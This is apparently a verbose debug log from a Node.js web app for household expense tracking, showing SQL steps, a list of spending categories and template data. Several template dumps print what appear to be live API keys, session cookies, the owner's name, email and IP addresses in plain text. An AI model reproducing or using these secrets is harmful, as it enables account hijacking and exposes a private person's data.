2026-04-07T16:30:34.466Z server-connect:output identity: 1
2026-04-07T16:30:34.466Z server-connect:app Executing action step restrict
2026-04-07T16:30:34.466Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:30:34.466Z server-connect:output restrict: undefined
2026-04-07T16:30:34.466Z server-connect:app Executing action step select
2026-04-07T16:30:34.466Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-04-07T16:30:34.467Z server-connect:app Executing action step identify
2026-04-07T16:30:34.467Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:34.467Z server-connect:output identity: 1
2026-04-07T16:30:34.467Z server-connect:app Executing action step restrict
2026-04-07T16:30:34.467Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:30:34.467Z server-connect:output restrict: undefined
2026-04-07T16:30:34.467Z server-connect:app Executing action step single
2026-04-07T16:30:34.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-04-07T16:30:34.468Z server-connect:output restrict: undefined
2026-04-07T16:30:34.468Z server-connect:router Render template house-planner
2026-04-07T16:30:34.468Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-07T16:30:34.472Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-04-07T16:30:34.473Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-04-07T16:30:37.194Z server-connect:router Serving templateView /house-planner
2026-04-07T16:30:37.194Z server-connect:app Executing action step identify
2026-04-07T16:30:37.194Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:37.194Z server-connect:output identity: 1
2026-04-07T16:30:37.194Z server-connect:app Executing action step restrict
2026-04-07T16:30:37.194Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:30:37.195Z server-connect:output restrict: undefined
2026-04-07T16:30:37.195Z server-connect:router Render template layouts/main
2026-04-07T16:30:37.195Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/house-planner'
}
2026-04-07T16:30:50.126Z server-connect:router Serving templateView /
2026-04-07T16:30:50.128Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-04-07T16:30:50.129Z server-connect:router Serving serverConnect /api/masters/get-items
2026-04-07T16:30:50.129Z server-connect:app Executing action step identify
2026-04-07T16:30:50.129Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:50.129Z server-connect:output identity: 1
2026-04-07T16:30:50.129Z server-connect:app Executing action step restrict
2026-04-07T16:30:50.129Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:30:50.130Z server-connect:app Executing action step identify
2026-04-07T16:30:50.130Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:50.130Z server-connect:output identity: 1
2026-04-07T16:30:50.130Z server-connect:app Executing action step restrict
2026-04-07T16:30:50.130Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:30:50.131Z server-connect:app Executing action step identify
2026-04-07T16:30:50.131Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:50.131Z server-connect:output identity: 1
2026-04-07T16:30:50.131Z server-connect:app Executing action step restrict
2026-04-07T16:30:50.131Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:30:50.131Z server-connect:output restrict: undefined
2026-04-07T16:30:50.131Z server-connect:app Executing action step restrict
2026-04-07T16:30:50.131Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:30:50.132Z server-connect:output restrict: undefined
2026-04-07T16:30:50.132Z server-connect:app Executing action step single
2026-04-07T16:30:50.132Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-04-07T16:30:50.133Z server-connect:output restrict: undefined
2026-04-07T16:30:50.133Z server-connect:app Executing action step select
2026-04-07T16:30:50.133Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-04-07T16:30:50.134Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-04-07T16:30:50.134Z server-connect:output restrict: undefined
2026-04-07T16:30:50.134Z server-connect:router Render template layouts/main
2026-04-07T16:30:50.135Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '2409:40d4:2421:9851:5539:8f0a:dad4:8a43',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2409:40d4:2421:9851:5539:8f0a:dad4:8a43',
    REQUEST_PROTOCOL: 'https',
